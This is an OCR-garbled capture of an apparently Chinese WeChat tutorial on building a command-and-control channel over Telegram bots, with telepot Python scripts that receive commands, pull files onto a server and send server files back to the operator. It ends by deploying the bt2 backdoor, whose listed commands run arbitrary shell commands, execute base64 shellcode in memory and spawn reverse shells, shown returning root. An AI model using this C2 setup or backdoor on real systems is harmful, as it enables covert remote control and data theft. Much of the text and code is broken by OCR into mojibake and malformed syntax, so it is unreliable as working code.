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https://telegram.me/botfather
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Alright, a new bot. How are we going to call it? Please choose a
name for your bot. 10:57 PM

Good. Now let's choose a username for your bot. It must end in
“bot’. Like this, for example: TetrisBot or tetris_bot. 10:58 PM

Sorry, this username is already taken. Please try something
different. 10:58 PM

Done! Congratulations on your new bot. You will find it at
t.me/cs_t“ You can now add a description, about
section and profile picture for your bot, see /help for a list of
commands. By the way, when you've finished creating your cool hg
ping our Bot Support if you want a better username for it. Juggg¥al
sure the bot is fully operational before you do this.

Use this token to access the H

Keep your token secure and
anyone to control your bot.

For a description of the Bot AP|, see this page:
https://core.telegram.org/bots/api 10:58 PM

/newbot 10:57 pM

es_test 1058 P

cs_test Bot q0:58 pM W

cs_test_2021_Bot 10:58 PM &

Ko 5 KOk pE

XA api BIEAESY

[ h++nc+ //rana +alaarnam ana/hnat+c/Ana

https://mp.weixin.qq.com/s/I0OdTCcOYzEjNIuQkfHZOLA
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TILLP O ./ 7 WU L. LU LUYI U VI Y/ UULD/ Up L

2. FIF python iEHB

#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token")
print ('Listening ...")
def handle(msg):
print(msg)
def main():
try:
bot.message_loop(handle)
except Exception as err:
print Cerr)

while True:
time.sleep(10)
if __name__ == "__main__"
main()

3. Mif token WABR

( E.%‘HE%%E’]\_/TH%K AN @f/izm% ;HZEE/E/]/R/D )

https://mp.weixin.qq.com/s/lOdTCc0YzEjNIuQkfHZOLA 3/20
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< >  vultr_tg_Bot.py

import time
import pprint
import telepot

bot = telepot. ('21Zv5250s

('Listening ..."')
(msg):
(msg)

():

J bot.

2pt as err:

(err)
while .

time. (10)

1T __name __main__":

o

https://mp.weixin.qq.com/s/IOdTCc0YzEjNIuQkfHZOLA

TG THIC2AI g 72

5Z550hfw')
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[root@vultr ~]# python3 tg_Bot.py
Listening ...

R BAMEEE

2 TG EAXRAINIZE Aih

BotFather
V.28 A

7 - @ o TN
(Do S0 0 e
)

Good. Now let's choose a username for your bot. It must end in
"bot . Like this, for example: TetrisBot or tetris_bot.

Sorry, this username is already taken. Please try something

https://mp.weixin.qq.com/s/IOdTCc0YzEjNIuQkfHZOLA
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ditferent. 10:58 PM

Ongratulations on your new bot. You will find it at
t.me/comNNT: . You can now add a description, about
section and profile picture for your bot, see /help for a list of
commands. By the way, when you've finished creating your cool bot,
ping our Bot Support if you want a better username for it. Just make
sure the bot is fully operational before you do this.

Use this token to access the HTTP API:

2120

Keep your token secure and store it safely, it can be used by
anyone to control your bot.

For a description of the Bot API, see this page:
https://core.telegram.org/bots/api 10:58 PM

@
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cs_test
A

Q [

10:58 PM &

https://mp.weixin.qq.com/s/I0OdTCcOYzEjNIuQkfHZOLA
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Python BilZRE ZIREYE R

, 'first name’: ° »', 'last_name': om, name " : & 2", 'language_c

', 'last_name': " , 'username': ") o, "type': 'private'}, 'date':

RS2 K aE

4. BEWIEFE
PS: EiINE—T APl XHTERE
RIS

&£/ glance() PJ AMEEIRATE B FIRER—"1 70 H

(content_type, chat_type, chat_id)

content_type B3&

text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, e
tc.

chat_type B¥&

https://mp.weixin.qq.com/s/IOdTCc0YzEjNIuQkfHZOLA 8/20
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PRAFATRI PAMER glance() IERIAIX FH B2 LS, A5a0F:

#!python
#!/usr/bin/python
import sys

import time

import pprint

import telepot

bot

= telepot.Bot('you-token")

print ('Listening ...")

def

def

if _

handle(msg):

content_type, chat_type, chat_id = telepot.glance(msg)

if content_type == "text':
received_command = msg['text']
print (received_command)

else:

print (content_type, chat_type, chat_id)

return
main():
try:
bot.message_loop(Chandle)
except Exception as err:
print Cerr)
while True:
time.sleep(10)

_name__ == "__main__":
main()

https://mp.weixin.qq.com/s/lOdTCc0YzEjNIuQkfHZOLA
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cs_test

/start 10:58 PM v
Jaky 11:12 M v

luomiweixiong 1119 py &

demo 1124 pM v

hellojaky 179.32 ppy w2

hellojaky 11.37 py w7

BEHRE »
L] =E]
RHER
BT 31 &
1141 0.02, 0.09, 0.12
CPU 7%
RF 30% 293M/990M
R 0% 0/0
RiF CPU @<
5.9M 1/sshd
2.9M 0.3 top
16M  0.3/python3
6.5M 0 systemd

M652B w2648 eth0 v

7K
5K

oms E-< 18

0

0

4]

B BT/
/dev 485M/485M
fdev/shm 495M/495M
Jrun 482M/495M
Isys/fs/cgroup 495M/495M
! 20.4G/23.4G
Jfrunfuser/0 99M/99M

= |01vultr x|

uHE -

B .pki

= .bash_logo
= .bash_profi

. # .bashrc

BRI

https://mp.weixin.qq.com/s/I0OdTCcOYzEjNIuQkfHZOLA
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RrTIBOB BT python 1URD, PIERTSHZICUFRYE BISTU

THXHEEER

bot.download_file(file_id, filename)

#!python
#!/usr/bin/python
import sys
import time
import pprint
import telepot
bot = telepot.Bot('you-token")
print ('Listening ...")
def handle(msg):
content_type, chat_type, chat_id = telepot.glance(msg)

if content_type == "text':
received_command = msg['text']
print (received_command)

elif content_type == 'document':
file_id = msg['document']['file_id']
filename = msg['document']['file_name']
bot.download_file(file_id, filename)
print ("[+] Download File Success!")

else:
print (content_type, chat_type, chat_id)
return

def main():

try:
bot.message_loop(handle)

except Exception as err:
print Cerr)

https://mp.weixin.qq.com/s/lOdTCc0YzEjNIuQkfHZOLA
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while True:
time.sleep(10)
if __name__ == "__main__":
main()

cs_test

/start

TG FHIC2 gl 72

[+]

10:58 PM &

11:12 PM

luomiweixiong 1119 PM

demo

11:24 PM

hello jaky

r—rr

° 23] FR2.ext
10B

https://mp.weixin.qq.com/s/lOdTCc0YzEjNIuQkfHZOLA

hello jaky 1137 py

S S R

11:32 PM

11:41 PM &

o 1 vultr =

Downl

bin
boot
dev
etc
home
lib

R -

0 .pki

* .bash_logout

* _bash_profile

# .bashrc
.cshrc
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[root@vultr ~]# python3 tg_Bot_cs.py
Listening ...
[+] Download File Success!

bin
boot
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
=27 root

riin

XHE -
[0 .cache
0 .local
0 .pki
.bash_logout
.bash_profile
bashrc

- B3 HEB2.xt

lib64

i

18 B
176 B
203 B
100 B

95 B
129 B

2.1 MB
837 8B
383 B

10B

XRE

MR
Xt
X

LY_DVL_L3. Y

= tg_Bot.py
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sbin

5. EPFinZEIARS5 i

REHBER
bot.sendMessage(chat_id, message)
[0) Server IR x—F0BER, ABWTH

#!python

import telepot

from pprint import pprint

bot = telepot.Bot('you-token")
bot.sendMessage(id, 'Hello C2 Server Jaky')

id ¥ RECHI ID

Listening ...

{'chat': {'first_name':
"1d': G
'"last_name': ' 1

"type': 'private',
‘username’: ‘ot L'}, W KRR

https://mp.weixin.qq.com/s/IOdTCc0YzEjNIuQkfHZOLA 14/20
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RS (= |e1vultr x |+

IP“‘ %)
HER [root@vultr ~]# python3 tg_Bot_server.py
=]

[root@vultr ~]#

BT 42 5
fa#§ 0.07, 0.10, 0.13
CPU | 9%
FIfF 29% 282M/990M
R 0% 0/0
AmE CPU &%
5.9M 1 sshd
0 0.3 kworker/0:3
6.5M 0 systemd
0 0 kthreadd

48K $4K eth0 ¥
7K
5K ]
0 M
s ECHEL
0 /root
0 .
./ R -~
1 LS bin [0 .cache
Bz RL:IEN @8 boot 2 .local
/dev 485SM/485M 88 .pki
/dev/shm 495M/495M
Jrun 4g2m/495M T otC : :::2:_1;?:%?;
Jsys/fsfcgroup 495M/495M  home - .bashrc
/ 20.4G/23.46 . lib cshre
/run/user/0 99M/99M -~ libb4 .python_history
lost+found teshre
media # get-pip.py
mnt - # tg_Bot_cs.py
opt - # tg_Bot_server.py
27 proc I # tg_Bot.py
©- @ root - BIER2.xt
= run
sbin

https://mp.weixin.qq.com/s/lOdTCc0YzEjNIuQkfHZOLA 15/20
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srv
Hello C2 Server Jak: 5Ys VL Sl A
Jaky 11:47 pm tmp o) HERE

usr

RIEXHER

bot.sendDocument(chat_id,file)

fOR3an R :

#!python

import telepot

from pprint import pprint

bot = telepot.Bot('you-token")

f = open('/root/ &M -f+ . txt", "rb")
bot.sendDocument(id, f)

id ®E{RECHY ID

https://mp.weixin.qq.com/s/lOdTCc0YzEjNIuQkfHZOLA 16/20
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Cs_test
Q

HLagA

TG FHC2add 72

P colmiips
RIER
BT 45 &
1% 0.34, 0.22, 0.17
CPU [8%
Pa7z [ 28% 282M/990M
ik 0%

AF  CPU &<

luomiweixiong

11:2¢

hello jaky 113

hello jaky 1.3

o 2.0
Hello C2 Server Jaky
o SANHT ot
108 11:51 PM

o~ BT (e |

0x02: IFIE Mt 352

https://mp.weixin.qq.com/s/I0OdTCcOYzEjNIuQkfHZOLA

Oms

Jdev
Jdev/shm

Jrun
Isys/fs/cgroup
/
Jrunfuser/0

5.9M 1/sshd

0 0.3jbd2/vdal-8
6.5M 0 systemd

0 0 kthreadd

A750B 3308

s 01 ot

ESA

485M/485M
495M/495M
482M/495M
495M/495M
20.4G/23.4G
99M/99M

7 | eLvunr <

Jroot

bin

boot

dev

etc

home

lib

lib64
lost+found
~ media

mnt

MR ~

[0 .cache

03 Jlocal

03 .pki

+ .bash_logout

= _bash_profile

< .bashrc
.cshrc
.python_history
steshre

“ get-pip.py

- # tg_Bot_cs.py
- # tg_Bot_server.py

“ tg_Bot.py
- FIHB-I T
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1. ¥&# C2 Server

git clone https://github.com/blazeinfosec/bt2.git

2. wESH
“miE bt2.py
BEU TS

API_TOKEN: token
BOTMASTER_ID: B ikSHIid

[root@vultr btZ]# python bt2%piresk

https://mp.weixin.qq.com/s/IOdTCc0YzEjNIuQkfHZOLA 18/20
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/help  12:03AM W
Available commands are:

/command <argument> - executes an arbitrary command
/shellcode <argument> - receives a base64'd shellcode and
executes it in memory

/reverseshell <ip> <port> - spawns a connect-back shell to a
specified IP and port

/sysinfo - returns system information (e.g., 'uname -a', public IP
address, etc.)

/whoami - returns the current logged in user

/download - downloads a remote file from the server

/upload - NOT IMPLEMENTED. Use Telegram's functionality for this
purpose.

/kill - Kills the backdoor.

/help - This help message.

https://mp.weixin.qq.com/s/I0OdTCcOYzEjNIuQkfHZOLA
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fwhoami  12.04 AM v

root 1504 AV

m = Wiy 2 I II /-'\ n

ETRMAILAE python KIBEY B CS L&T

https://mp.weixin.qq.com/s/I0OdTCcOYzEjNIuQkfHZOLA 20/20



